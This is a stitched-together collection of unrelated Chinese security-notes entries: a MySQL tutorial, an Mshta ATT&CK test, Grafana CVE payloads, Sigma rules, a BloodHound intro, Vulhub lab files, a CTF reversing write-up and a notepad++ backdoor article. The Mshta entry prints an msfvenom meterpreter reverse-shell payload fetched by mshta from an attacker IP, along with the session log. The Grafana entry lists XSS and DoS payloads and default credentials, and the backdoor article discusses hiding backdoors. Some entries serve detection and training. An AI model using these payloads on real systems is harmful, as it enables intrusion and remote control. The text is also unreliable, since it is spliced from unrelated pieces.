``` ## 九、过滤 不进行过滤的数据非常大,导致通过网络传输了多余的数据,从而浪费了网络带宽。因此尽量使用 SQL 语句来过滤不必要的数据,而不是传输所有的数据到客户端中然后由客户端进行过滤。 ```sql SELECT * FROM mytable WHERE col IS NULL; ``` 下表显示了 WHERE 子句可用的操作符 | 操作符 | 说明 | | :---: | :---: | | = | 等于 | | &lt; | 小于 | | &gt; | 大于 | | &lt;&gt; != | 不等于 | | &lt;= !&gt; | 小于等于 | | &gt;= !&lt; | 大于等于 | | BETWEEN | 在两个值之间 | | IS NULL | 为 NULL 值 | 应该注意到,NULL 与 0、空字符串都不同。 **AND 和 OR** 用于连接多个过滤条件。优先处理 AND,当一个过滤表达式涉及到多个 AND 和 OR 时,可以使用 () 来决定优先级,使得优先级关系更清晰。 **IN** 操作符用于匹配一组值,其后也可以接一个 SELECT 子句,从而匹配子查询得到的一组值。 **NOT** 操作符用于否定一个条件。 ## 十、通配符 通配符也是用在过滤语句中,但它只能用于文本字段。 - **%** 匹配 \>=0 个任意字符; - **\_** 匹配 ==1 个任意字符; - **[ ]** 可以匹配集合内的字符,例如 [ab] 将匹配字符 a 或者 b。用脱字符 ^ 可以对其进行否定,也就是不匹配集合内的字符。 使用 Like 来进行通配符匹配。 ```sql SELECT * FROM mytable WHERE col LIKE '[^AB]%'; -- 不以 A 和 B 开头的任意文本 ``` 不要滥用通配符,通配符位于开头处匹配会非常慢。 ## 十一、计算字段 在数据库服务器上完成数据的转换和格式化的工作往往比客户端上快得多,并且转换和格式化后的数据量更少的话可以减少网络通信量。 计算字段通常需要使用 **AS** 来取别名,否则输出的时候字段名为计算表达式。 ```sql SELECT col1 * col2 AS alias FROM mytable; ``` **CONCAT()** 用于连接两个字段。许多数据库会使用空格把一个值填充为列宽,因此连接的结果会出现一些不必要的空格,使用 **TRIM()** 可以去除首尾空格。 ```sql SELECT CONCAT(TRIM(col1), '(', TRIM(col2), ')') AS concat_col FROM mytable; ``` ## 十二、函数 各个 DBMS 的函数都是不相同的,因此不可移植,以下主要是 MySQL 的函数。 ### 汇总 |函 数 |说 明| | :---: | :---: | | AVG() | 返回某列的平均值 | | COUNT() | 返回某列的行数 | | MAX() | 返回某列的最大值 | | MIN() | 返回某列的最小值 | | SUM() |返回某列值之和 | AVG() 会忽略 NULL 行。 使用 DISTINCT 可以汇总不同的值。 ```sql SELECT AVG(DISTINCT col1) AS avg_col FROM mytable; ``` ### 文本处理 | 函数 | 说明 | | :---: | :---: | | LEFT() | 左边的字符 | | RIGHT() | 右边的字符 | | LOWER() | 转换为小写字符 | | UPPER() | 转换为大写字符 | | LTRIM() | 去除左边的空格 | | RTRIM() | 去除右边的空格 | | LENGTH() | 长度 | | SOUNDEX() | 转换为语音值 | 其中, **SOUNDEX()** 可以将一个字符串转换为描述其语音表示的字母数字模式。 ```sql SELECT * FROM mytable WHERE SOUNDEX(col1) = SOUNDEX('apple') ``` ### 日期和时间处理 - 日期格式:YYYY-MM-DD - 时间格式:HH:\<zero-width space\>MM:SS |函 数 | 说 明| | :---: | :---: | | ADDDATE() | 增加一个日期(天、周等)| | ADDTIME() | 增加一个时间(时、分等)| | CURDATE() | 返回当前日期 | | CURTIME() | 返回当前时间 | | DATE() |返回日期时间的日期部分| | DATEDIFF() |计算两个日期之差| | DATE_ADD() |高度灵活的日期运算函数| | DATE_FORMAT() |返回一个格式化的日期或时间串| | DAY()| 返回一个日期的天数部分| | DAYOFWEEK() |对于一个日期,返回对应的星期几| | HOUR() |返回一个时间的小时部分| | MINUTE() |返回一个时间的分钟部分| | MONTH() |返回一个日期的月份部分| | NOW() |返回当前日期和时间| | SECOND() |返回一个时间的秒部分| | TIME() |返回一个日期时间的时间部分| | YEAR() |返回一个日期的年份部分| ```sql mysql> SELECT NOW(); ``` ``` 2018-4-14 20:25:11 ``` ### 数值处理 | 函数 | 说明 | | :---: | :---: | | SIN() | 正弦 | | COS() | 余弦 | | TAN() | 正切 | | ABS() | 绝对值 | | SQRT() | 平方根 | | MOD() | 余数 | | EXP() | 指数 | | PI() | 圆周率 | | RAND() | 随机数 | ## 十三、分组 把具有相同的数据值的行放在同一组中。 可以对同一分组数据使用汇总函数进行处理,例如求分组数据的平均值等。 指定的分组字段除了能按该字段进行分组,也会自动按该字段进行排序。 ```sql SELECT col, COUNT(*) AS num FROM mytable GROUP BY col; ``` GROUP BY 自动按分组字段进行排序,ORDER BY 也可以按汇总字段来进行排序。 ```sql SELECT col, COUNT(*) AS num FROM mytable GROUP BY col ORDER BY num; ``` WHERE 过滤行,HAVING 过滤分组,行过滤应当先于分组过滤。 ```sql SELECT col, COUNT(*) AS num FROM mytable WHERE col > 2 GROUP BY col HAVING num >= 2; ``` 分组规定: - GROUP BY 子句出现在 WHERE 子句之后,ORDER BY 子句之前; - 除了汇总字段外,SELECT 语句中的每一字段都必须在 GROUP BY 子句中给出; - NULL 的行会单独分为一组; - 大多数 SQL 实现不支持 GROUP BY 列具有可变长度的数据类型。 ## 十四、子查询 子查询中只能返回一个字段的数据。 可以将子查询的结果作为 WHRER 语句的过滤条件: ```sql SELECT * FROM mytable1 WHERE col1 IN (SELECT col2 FROM mytable2); ``` 下面的语句可以检索出客户的订单数量,子查询语句会对第一个查询检索出的每个客户执行一次: ```sql SELECT cust_name, (SELECT COUNT(*) FROM Orders WHERE Orders.cust_id = Customers.cust_id) AS orders_num FROM Customers ORDER BY cust_name; ``` ## 十五、连接 连接用于连接多个表,使用 JOIN 关键字,并且条件语句使用 ON 而不是 WHERE。 连接可以替换子查询,并且比子查询的效率一般会更快。 可以用 AS 给列名、计算字段和表名取别名,给表名取别名是为了简化 SQL 语句以及连接相同表。 ### 内连接 内连接又称等值连接,使用 INNER JOIN 关键字。 ```sql SELECT A.value, B.value FROM tablea AS A INNER JOIN tableb AS B ON A.key = B.key; ``` 可以不明确使用 INNER JOIN,而使用普通查询并在 WHERE 中将两个表中要连接的列用等值方法连接起来。 ```sql SELECT A.value, B.value FROM tablea AS A, tableb AS B WHERE A.key = B.key; ``` ### 自连接 自连接可以看成内连接的一种,只是连接的表是自身而已。 一张员工表,包含员工姓名和员工所属部门,要找出与 Jim 处在同一部门的所有员工姓名。 子查询版本 ```sql SELECT name FROM employee WHERE department = ( SELECT department FROM employee WHERE name = "Jim"); ``` 自连接版本 ```sql SELECT e1.name FROM employee AS e1 INNER JOIN employee AS e2 ON e1.department = e2.department AND e2.name = "Jim"; ``` ### 自然连接 自然连接是把同名列通过等值测试连接起来的,同名列可以有多个。 内连接和自然连接的区别:内连接提供连接的列,而自然连接自动连接所有同名列。 ```sql SELECT A.value, B.value FROM tablea AS A NATURAL JOIN tableb AS B; ``` ### 外连接 外连接保留了没有关联的那些行。分为左外连接,右外连接以及全外连接,左外连接就是保留左表没有关联的行。 检索所有顾客的订单信息,包括还没有订单信息的顾客。 ```sql SELECT Customers.cust_id, Customer.cust_name, Orders.order_id FROM Customers LEFT OUTER JOIN Orders ON Customers.cust_id = Orders.cust_id; ``` customers 表: | cust_id | cust_name | | :---: | :---: | | 1 | a | | 2 | b | | 3 | c | orders 表: | order_id | cust_id | | :---: | :---: | |1 | 1 | |2 | 1 | |3 | 3 | |4 | 3 | 结果: | cust_id | cust_name | order_id | | :---: | :---: | :---: | | 1 | a | 1 | | 1 | a | 2 | | 3 | c | 3 | | 3 | c | 4 | | 2 | b | Null | ## 十六、组合查询 使用 **UNION** 来组合两个查询,如果第一个查询返回 M 行,第二个查询返回 N 行,那么组合查询的结果一般为 M+N 行。 每个查询必须包含相同的列、表达式和聚集函数。 默认会去除相同行,如果需要保留相同行,使用 UNION ALL。 只能包含一个 ORDER BY 子句,并且必须位于语句的最后。 ```sql SELECT col FROM mytable WHERE col = 1 UNION SELECT col FROM mytable WHERE col =2; ``` ## 十七、视图 视图是虚拟的表,本身不包含数据,也就不能对其进行索引操作。 对视图的操作和对普通表的操作一样。 视图具有如下好处: - 简化复杂的 SQL 操作,比如复杂的连接; - 只使用实际表的一部分数据; - 通过只给用户访问视图的权限,保证数据的安全性; - 更改数据格式和表示。 ```sql CREATE VIEW myview AS SELECT Concat(col1, col2) AS concat_col, col3*col4 AS compute_col FROM mytable WHERE col5 = val; ``` ## 十八、存储过程 存储过程可以看成是对一系列 SQL 操作的批处理。 使用存储过程的好处: - 代码封装,保证了一定的安全性; - 代码复用; - 由于是预先编译,因此具有很高的性能。 命令行中创建存储过程需要自定义分隔符,因为命令行是以 ; 为结束符,而存储过程中也包含了分号,因此会错误把这部分分号当成是结束符,造成语法错误。 包含 in、out 和 inout 三种参数。 给变量赋值都需要用 select into 语句。 每次只能给一个变量赋值,不支持集合的操作。 ```sql delimiter // create procedure myprocedure( out ret int ) begin declare y int; select sum(col1) from mytable into y; select y*y into ret; end // delimiter ; ``` ```sql call myprocedure(@ret); select @ret; ``` ## 十九、游标 在存储过程中使用游标可以对一个结果集进行移动遍历。 游标主要用于交互式应用,其中用户需要对数据集中的任意行进行浏览和修改。 使用游标的四个步骤: 1. 声明游标,这个过程没有实际检索出数据; 2. 打开游标; 3. 取出数据; 4. 关闭游标; ```sql delimiter // create procedure myprocedure(out ret int) begin declare done boolean default 0; declare mycursor cursor for select col1 from mytable; # 定义了一个 continue handler,当 sqlstate '02000' 这个条件出现时,会执行 set done = 1 declare continue handler for sqlstate '02000' set done = 1; open mycursor; repeat fetch mycursor into ret; select ret; until done end repeat; close mycursor; end // delimiter ; ``` ## 二十、触发器 触发器会在某个表执行以下语句时而自动执行:DELETE、INSERT、UPDATE。 触发器必须指定在语句执行之前还是之后自动执行,之前执行使用 BEFORE 关键字,之后执行使用 AFTER 关键字。BEFORE 用于数据验证和净化,AFTER 用于审计跟踪,将修改记录到另外一张表中。 INSERT 触发器包含一个名为 NEW 的虚拟表。 ```sql CREATE TRIGGER mytrigger AFTER INSERT ON mytable FOR EACH ROW SELECT NEW.col into @result; SELECT @result; -- 获取结果 ``` DELETE 触发器包含一个名为 OLD 的虚拟表,并且是只读的。 UPDATE 触发器包含一个名为 NEW 和一个名为 OLD 的虚拟表,其中 NEW 是可以被修改的,而 OLD 是只读的。 MySQL 不允许在触发器中使用 CALL 语句,也就是不能调用存储过程。 ## 二十一、事务管理 基本术语: - 事务(transaction)指一组 SQL 语句; - 回退(rollback)指撤销指定 SQL 语句的过程; - 提交(commit)指将未存储的 SQL 语句结果写入数据库表; - 保留点(savepoint)指事务处理中设置的临时占位符(placeholder),你可以对它发布回退(与回退整个事务处理不同)。 不能回退 SELECT 语句,回退 SELECT 语句也没意义;也不能回退 CREATE 和 DROP 语句。 MySQL 的事务提交默认是隐式提交,每执行一条语句就把这条语句当成一个事务然后进行提交。当出现 START TRANSACTION 语句时,会关闭隐式提交;当 COMMIT 或 ROLLBACK 语句执行后,事务会自动关闭,重新恢复隐式提交。 设置 autocommit 为 0 可以取消自动提交;autocommit 标记是针对每个连接而不是针对服务器的。 如果没有设置保留点,ROLLBACK 会回退到 START TRANSACTION 语句处;如果设置了保留点,并且在 ROLLBACK 中指定该保留点,则会回退到该保留点。 ```sql START TRANSACTION // ... SAVEPOINT delete1 // ... ROLLBACK TO delete1 // ... COMMIT ``` ## 二十二、字符集 基本术语: - 字符集为字母和符号的集合; - 编码为某个字符集成员的内部表示; - 校对字符指定如何比较,主要用于排序和分组。 除了给表指定字符集和校对外,也可以给列指定: ```sql CREATE TABLE mytable (col VARCHAR(10) CHARACTER SET latin COLLATE latin1_general_ci ) DEFAULT CHARACTER SET hebrew COLLATE hebrew_general_ci; ``` 可以在排序、分组时指定校对: ```sql SELECT * FROM mytable ORDER BY col COLLATE latin1_general_ci; ``` ## 二十三、权限管理 MySQL 的账户信息保存在 mysql 这个数据库中。 ```sql USE mysql; SELECT user FROM user; ``` **创建账户** 新创建的账户没有任何权限。 ```sql CREATE USER myuser IDENTIFIED BY 'mypassword'; ``` **修改账户名** ```sql RENAME USER myuser TO newuser; ``` **删除账户** ```sql DROP USER myuser; ``` **查看权限** ```sql SHOW GRANTS FOR myuser; ``` **授予权限** 账户用 username@host 的形式定义,username@% 使用的是默认主机名。 ```sql GRANT SELECT, INSERT ON mydatabase.* TO myuser; ``` **删除权限** GRANT 和 REVOKE 可在几个层次上控制访问权限: - 整个服务器,使用 GRANT ALL 和 REVOKE ALL; - 整个数据库,使用 ON database.\*; - 特定的表,使用 ON database.table; - 特定的列; - 特定的存储过程。 ```sql REVOKE SELECT, INSERT ON mydatabase.* FROM myuser; ``` **更改密码** 必须使用 Password() 函数进行加密。 ```sql SET PASSWROD FOR myuser = Password('new_password'); ``` ## 参考资料 - BenForta. SQL 必知必会 [M]. 人民邮电出版社, 2013.
sec-knowleage
# T1218-005-win-基于白名单Mshta.exe执行payload ## 来自ATT&CK的描述 Mshta.exe是一个执行微软HTA(HTML应用)的实用程序。HTA文件扩展名为.hta。HTA是独立的应用,使用与InternetExplorer相同的模型和技术来执行,但在浏览器之外执行。 攻击者可能会使用mshta.exe通过受信任的Windows实用程序来代理执行恶意.hta文件和Javascript或VBScript。已知攻击者在最初攻击阶段利用mshta.exe来执行代码的几个例子。 Mshta.exe可通过内联脚本来执行文件:mshtavbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")")) 也可以直接从URL执行:mshta http[:]//webserver/payload[.]hta Mshta.exe可绕过不考虑其潜在用途的应用白名单解决方案。由于mshta.exe在InternetExplorer的安全上下文之外执行,因此它还会绕过浏览器安全设置。 ## 测试案例 Mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件。 说明:Mshta所在路径已被系统添加PATH环境变量中,因此,可直接执行Mshta.exe命令。 补充说明:在高版本操作系统中,可以通过配置策略,对进程命令行参数进行记录。日志策略开启方法:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`,同样也可以在不同版本操作系统中部署sysmon,通过sysmon日志进行监控。 Windows 7 默认位置: C:\Windows\System32\mshta.exe C:\Windows\SysWOW64\mshta.exe ## 检测日志 windows 安全日志(需要自行配置) ## 测试复现 ### 环境准备 攻击机:Kali2019 靶机:windows server 2012 ### 攻击分析 #### 生成payload ```bash root@12306Br0:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f hta-psh -o test5.hta 替换相关信息 ``` #### 执行监听 ```bash use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set lhost 192.168.126.146 msf exploit(windows/misc/hta_server) > set srvhost 192.168.126.146 msf exploit(windows/misc/hta_server) > exploit ``` #### 靶机执行payload ```bash mshta.exe http://192.168.126.146:8080/Uj6Tcv.hta #需要安装.net Framework 3.5 ``` #### 反弹shell ```bash msf5 exploit(windows/misc/hta_server) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.126.146:4444 [*] Using URL: http://192.168.126.146:8080/Uj6Tcv.hta [*] Server started. msf5 exploit(windows/misc/hta_server) > [*] 192.168.126.156 hta_server - Delivering Payload [*] Sending stage (180291 bytes) to 192.168.126.156 [*] Meterpreter session 1 opened (192.168.126.146:4444 -> 192.168.126.156:50232) at 2020-04-14 11:03:33 +0800 ``` ## 测试留痕 安全日志能够清晰的记录命令行参数,截取windows安全事件4688进程创建部分内容: ```log 事件ID: 4688 进程信息: 新进程 ID:0xb20 新进程名称:C:\Windows\System32\mshta.exe 令牌提升类型:TokenElevationTypeDefault (1) 创建者进程 ID:0x13c 进程命令行:mshta.exe http://192.168.126.146:8080/Uj6Tcv.hta ``` ## 检测规则/思路 通过进程监控来检测和分析mshta.exe的执行和参数。查找在命令行中执行原始或混淆脚本的mshta.exe。比较mshta.exe的近期调用与历史已知合法参数及已执行二进制文件来确定是否有异常和潜在的攻击活动。在mshta.exe调用之前和之后使用的命令参数也可用于确定正在执行的二进制文件的来源和目的。 ### sigma规则 ```yml title: MSHTA Suspicious Execution 01 id: cc7abbd0-762b-41e3-8a26-57ad50d2eea3 status: experimental description: Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism date: 2019/02/22 modified: 2019/02/22 author: Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule) references: - http://blog.sevagas.com/?Hacking-around-HTA-files - https://0x00sec.org/t/clientside-exploitation-in-2018-how-pentesting-has-changed/7356 - https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script - https://medium.com/tsscyber/pentesting-and-hta-bypassing-powershell-constrained-language-mode-53a42856c997 tags: - attack.defense_evasion - attack.t1140 logsource: category: process_creation product: windows falsepositives: - False positives depend on scripts and administrative tools used in the monitored environment level: high detection: selection1: Image: '*\mshta.exe' CommandLine: - '*vbscript*' - '*.jpg*' - '*.png*' - '*.lnk*' # - '*.chm*' # could be prone to false positives - '*.xls*' - '*.doc*' - '*.zip*' condition: selection1 ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1218-005 <https://attack.mitre.org/techniques/T1218/005/> 远控免杀专题(37)-白名单Mshta.exe执行payload <http://sec.nmask.cn/article_content?a_id=d1a4d20858c9283aef9ef49d2e98352c> 检测可疑的Mshta使用情况 <https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Execution/detect-suspicious-mshta-usage.md>
sec-knowleage
package com.vulhub.authzvuln; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; @Controller public class DemoController { @GetMapping("/admin/*") public String Admin(){ return "admin"; } @GetMapping("/") public String User(){ return "index"; } }
sec-knowleage
# T1078-003-win-账户登录失败 ## 来自ATT&CK的描述 攻击者可能会使用凭据访问技术窃取特定用户或服务账号的凭据,或者在早期通过社会工程获得凭据,用于获得首次访问权限。 攻击者可以使用三种账号:默认账号、本地账号和域账号。默认账号是操作系统的内置账号,例如Windows系统上的访客或管理员账号,或者其他类型系统、软件或设备上的默认提供商账号。本地账号是组织配置给用户、远程支持或服务的账号,或单个系统或服务的管理账号。域账号是AD-DS(活动目录域服务)管理的账号,其访问和权限在域内不同系统和服务之间配置。域账号可以涵盖用户、管理员和服务。 攻击者可能会获取并滥用本地帐户的凭据,用于获取初始访问权限,持久性,权限提升或防御逃避。本地帐户是由组织配置的帐户,供用户,远程支持,服务使用或在单个系统或服务上进行管理。 通过OS凭据转储,本地帐户也可能被滥用,提升特权和收集凭据。为了特权升级和横向移动,密码重用可能允许滥用网络上的一组计算机上的本地帐户。 ## 测试案例 windows账户登录失败。 ## 检测日志 windows 安全日志 ## 测试复现 场景较简单,请自行测试。 ## 测试留痕 windows安全事件ID(win7/win2008+) ## 检测规则/思路 ### Sigma规则 ```yml title: 从单一源系统使用不同帐户登录失败 description: 从单个源系统检测使用不同用户帐户的可疑失败登录 author: 12306Br0(翻译) date: 2020/06/09 tags: - attack.persistence - attack.privilege_escalation - attack.t1078-003 logsource: product: windows service: security detection: selection1: EventID: - 529 #windows 2003 - 4625 #windows server 2008以上 UserName: '*' #用户名 WorkstationName: '*' #工作站名 selection2: EventID: 4776 #适用于域账户登录 UserName: '*' #用户名 Workstation: '*' #工作站名 timeframe: 24h condition: - selection1 | count(UserName) by WorkstationName > 3 - selection2 | count(UserName) by Workstation > 3 falsepositives: - 终端服务器 - 跳板服务器 - 其他多用户系统,例如Citrix服务器场 - 用户频繁变化的工作站 level: medium ``` ### 建议 建议根据业务系统实际情况,调整阈值。 ## 参考推荐 MITRE-ATT&CK-T1078-003 <https://attack.mitre.org/techniques/T1078/003/>
sec-knowleage
# BloodHound --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **简介** BloodHound 可以在域内导出相关信息,将采集的数据导人本地 Neo4j 数据库,并进行展示和分析。 通过使用图与线的形式,展现域内所有相关用户、组、计算机、登陆信息、访问控制策略之间的关系. **项目地址** - https://github.com/BloodHoundAD/BloodHound **相关文章** - [域渗透分析工具BloodHound 1.5.2入门实战](https://www.freebuf.com/sectool/179002.html) - [内网渗透软件-BloodHound使用指南](https://mp.weixin.qq.com/s/M2LQjojTc7tk7eL_vD2lgQ)
sec-knowleage
# Grafana ## Introduction What would you do if you came across a website that uses Grafana? ## How to Detect Try to HTTP request to `https://example.com/login` and there is a form login 1. Find the related CVE by checking grafana version * How to find the grafana version Try to request to `https://example.com/login` and then check the source code. You will find the version in JSON body `"isEnterprise":false,"latestVersion:"9.0.0","version":"8.3.2"` so 8.3.2 is the grafana version. If you found outdated grafana version, find the CVEs at [CVEDetails](https://www.cvedetails.com/vulnerability-list/vendor_id-18548/product_id-47055/Grafana-Grafana.html) Some example CVE: - CVE-2021-41174 (Reflected XSS) ``` https://example.com/dashboard/snapshot/%7B%7Bconstructor.constructor('alert(1)')()%7D%7D?orgId=1 ``` - CVE-2020-13379 (Denial of Service) ``` https://example.com/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D ``` - CVE-2020-11110 (Stored XSS) ``` POST /api/snapshots HTTP/1.1 Host: example.com Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Referer: {{BaseURL}} content-type: application/json Connection: close {"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0} ``` - CVE-2019-15043 (Grafana Unauthenticated API) ``` POST /api/snapshots HTTP/1.1 Host: example.com Connection: close Content-Length: 235 Accept: */* Accept-Language: en Content-Type: application/json {"dashboard":{"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600} ``` 2. Default Credentials ``` Try to login using admin as username and password ``` 3. Signup Enabled ``` https://example.com/signup ```
sec-knowleage
version: '2' services: admin: image: vulhub/xxl-job:2.2.0-admin depends_on: - db ports: - "8080:8080" executor: image: vulhub/xxl-job:2.2.0-executor depends_on: - admin ports: - "9999:9999" db: image: mysql:5.7 environment: - MYSQL_ROOT_PASSWORD=root
sec-knowleage
# XSS (re, 6 solves, 900p) > The flag format is MeePwnCTF{correct_input} > Unzip password: MeePwn Here's the main function: ![main.pn](main.png) If the program is ran without any arguments (and thus argc==1), it spawns 2 additional processess with args `1` and `1 2`, and goes on to execute `argc_switch`: ![argc_switch.png](argc_switch.png) Generally, the program contains 3 different processes that check the password asynchronically using thread locks. Before we get a clear assembly though, there are 2 obfuscation tricks that we have to go through: There are conditional jumps that are always taken and the next instruction after the bogus `jz` is a bad instruction to screw up our disassembly: (notice the `addr+1`) ![before.png](before.png) We can correctly set the data/code stuff in ida and get a pretty good dissasembly: ![after.png](after.png) Additionaly, if we want IDA to recognize this code as a function we're gonna need to patch the `jz` instructions to `jmp`. Next thing is encrypted code: ``` c++ BOOL __cdecl switch_stuff(LPVOID lpParameter) { void *v2; // [esp+1Ch] [ebp-14h] HANDLE hProcess; // [esp+20h] [ebp-10h] SIZE_T i; // [esp+24h] [ebp-Ch] _BYTE *lpBuffer; // [esp+28h] [ebp-8h] SIZE_T dwSize; // [esp+2Ch] [ebp-4h] hProcess = OpenProcess(dwDesiredAccess, 0, process_stuff.field_0); if ( !hProcess ) { exit(0); } dwSize = 0; lpBuffer = 0; if ( lpParameter == 1 ) { dwSize = 1024; lpBuffer = subfun_1; } if ( lpParameter == 2 ) { dwSize = 864; lpBuffer = sunfun_2; } if ( lpParameter == 3 ) { dwSize = 1040; lpBuffer = subfun_3; } v2 = VirtualAllocEx(hProcess, 0, dwSize, 0x1000u, 0x40u); if ( !v2 ) { exit(0); } for ( i = 0; i < dwSize; ++i ) { lpBuffer[i] ^= 0x33u; } if ( !WriteProcessMemory(hProcess, v2, lpBuffer, dwSize, 0) ) { exit(0); } if ( !CreateRemoteThread(hProcess, 0, 0, v2, lpParameter, 0, 0) ) { exit(0); } return CloseHandle(hProcess); } ``` Basing on the number of arguments, a different code section is decrypted and injected into a new thread. Dexoring the buffer and loading the buffers as additional binaries in IDA works pretty good. Here's a tree of execution that sums it up pretty well: ![tree.png](tree.png) Each node creates the next one by writing code hardcoded in the function body to itself using WriteProcessMemory: ![injection.png](injection.png) The `aesenc` block represents a code section that encrypts the global string with a one round of aes by using the `aesenc` instruction and a hard-coded key: ![aesenc.png](aesenc.png) So: * The 16-byte key is read from stdin using getchar * The input is xored with a hard-coded key * It's encrypted 9 times with a single round of aes with a hard-coded key * `aesenclast` is the last round of aes * The outcome buffer is compared with a hard-coded string * The result is printed So all we have to do is reverse the operations and we'll get the flag. We can't just shuffle the aes rounds though, so we have 2 options: * Analyze the thread locks order and come up with the original execution order * Brute-force it (#yolo) Obviously, brute-forcing is faster as there are only 8! possible combinations (even less when when we take into consideration the block order). We whim up a quick python script that does the job for us: ``` python import itertools from aes import AES from crypto_commons.generic import xor_string, is_printable def convert_array_to_strings(arr): return "".join(map(chr, arr)) possible_rounds = [ [0x45,0x33,0x7E,0x3C,0xF0,0x7F,0x2D,0xAC,0x33,0x44,0x3B,0x75,0x48,0x2A,0xC5,0x46,], [0x3E,0x43,0x95,0x3C,0x69,0xD0,0x73,0x67,0x22,0x97,0xD1,0xB1,0xA3,0x61,0xFD,0x4A,], [0x4D,0xF0,0xEC,0x1A,0x3D,4,0xA9,0xDB,0xF5,0xD5,8,0x1A,0x80,0x70,0x93,6,], [0x60,0x9D,0x47,0x31,0xB5,0xDD,0x36,0x7E,0xEF,0x99,0x7A,0xD8,0x49,0x5C,0x45,0x23,], [0xFA,0xEC,0xDB,0xBB,0x93,0xB2,0x3A,0xEF,0x68,0xE4,0xBE,0x6D,0x2F,0xF6,0x6B,0x4C,], [0x2E,0xEB,0xCF,0x46,5,0xAE,0x3D,0x94,0xBA,0x8C,0xCC,0xF4,0x4C,0xA1,0x1D,0x4C,], [0xBA,0xF0,0xAB,0x1F,0xAC,0x2F,0x58,0x81,0xF1,0x25,0xB1,0x59,0xF9,0x79,0xDE,3,], [0x34,0xAF,0xFF,0x57,0x51,0x3A,0xF,0xEC,0x8B,0xA0,0xE6,0x5F,0x8C,0x98,0x60,0x78,], [0x74,0xF9,0xC5,0x42,0x7F,0x7A,0x6E,0xE2,0xB1,0x1F,0x2C,0xC2,0x18,4,0xB8,0xF7,], ] last = [0xA,0x98,0x63,0x1D,0x84,0x69,0x82,8,7,0xCA,0x31,0xF7,0x1D,0x33,0x56,0x29] ct = [0x68,0xCE,0xDF,0xDD,0x58,0x6C,0x37,0xE4,0xC4,0xE1,0xAC,0xB4,9,0x7F,0x97,0xA4] xorkey = [0x6A, 0x15, 0x6D, 0xB, 0x9D, 0xF0, 0xC2, 0x34, 0x74, 0x8A, 0xD4, 0x4F, 0x50, 0x84, 0xA0, 0x7F, ] possible_rounds = map(convert_array_to_strings, possible_rounds) ct = convert_array_to_strings(ct) last = convert_array_to_strings(last) xorkey = convert_array_to_strings(xorkey) for i in itertools.permutations(possible_rounds): A = AES() rounds = i try_ct = A.sr_decryptlast(ct, last) for r in rounds: try_ct = A.sr_decrypt(try_ct, r) print(xor_string(try_ct, xorkey)) ``` And get the most printable key: `5B4D656550776E5D` \o/
sec-knowleage
这次继续围绕第一篇,第一季关于后门: https://micropoor.blogspot.hk/2017/12/php.html 做整理与补充。在深入一步细化demo notepad++。 后门是渗透测试的分水岭,它分别体现了攻击者对目标机器的熟知程度,环境,编程语言,了解对方客户,以及安全公司的本质概念。这样的后门才能更隐蔽,更长久。 而对于防御者需要掌握后门的基本查杀,与高难度查杀,了解被入侵环境,目标机器。以及后门或者病毒可隐藏角落,或样本取证,内存取证。 所以说后门的安装与反安装是一场考试,一场实战考试。 这里要引用几个概念,只有概念清晰,才能把后门加入概念化,使其更隐蔽。 **1:攻击方与防御方的本质是什么?** 增加对方的时间成本,人力成本,资源成本(不限制于服务器资源),金钱成本。 **2:安全公司的本质是什么?** 盈利,最小投入,最大产出。 **3:安全公司产品的本质是什么?** 能适应大部分客户,适应市场化,并且适应大部分机器。(包括不限制于资源紧张,宽带不足等问题的客户) **4:安全人员的本质是什么?** 赚钱,养家。买房,还房贷。导致,快速解决客户问题(无论暂时还是永久性解决),以免投诉。 **5:对接客户的本质是什么?** 对接客户也是某公司内安全工作的一员,与概念4相同。 清晰了以上5个概念,作为攻击者,要首先考虑到对抗成本,什么样的对抗成本,能满足概念1-5。影响或阻碍对手方的核心利益。把概念加入到后门,更隐蔽,更长久。 文章的标题既然为php安全新闻早八点,那么文章的本质只做技术研究,Demo本身不具备攻击或者持续控制权限功能。 ### Demo连载第二季: Demo 环境:windows 7 x64,notepad++(x64) Demo IDE:vs2017 在源码中,我们依然修改每次打开以php结尾的文件,先触发后门,在打开文件。其他文件跳过触发后门。但是这次代码中加入了生成micropoor.txt功能。并且使用php来加载运行它,是的,生成一个txt。demo中,为了更好的演示,取消自动php加载运行该txt。 而txt的内容如图所示,并且为了更好的了解,开启文件监控。 ![](media/521fcd207c06f1ff3a490654d0e8d436.jpg) 使用notepad++(demo2).exe 打开以php结尾的demo.php,来触发microdoor。并且生成了micropoor.txt ![](media/c2200632c4c4a168865aa7ef81f80420.jpg) 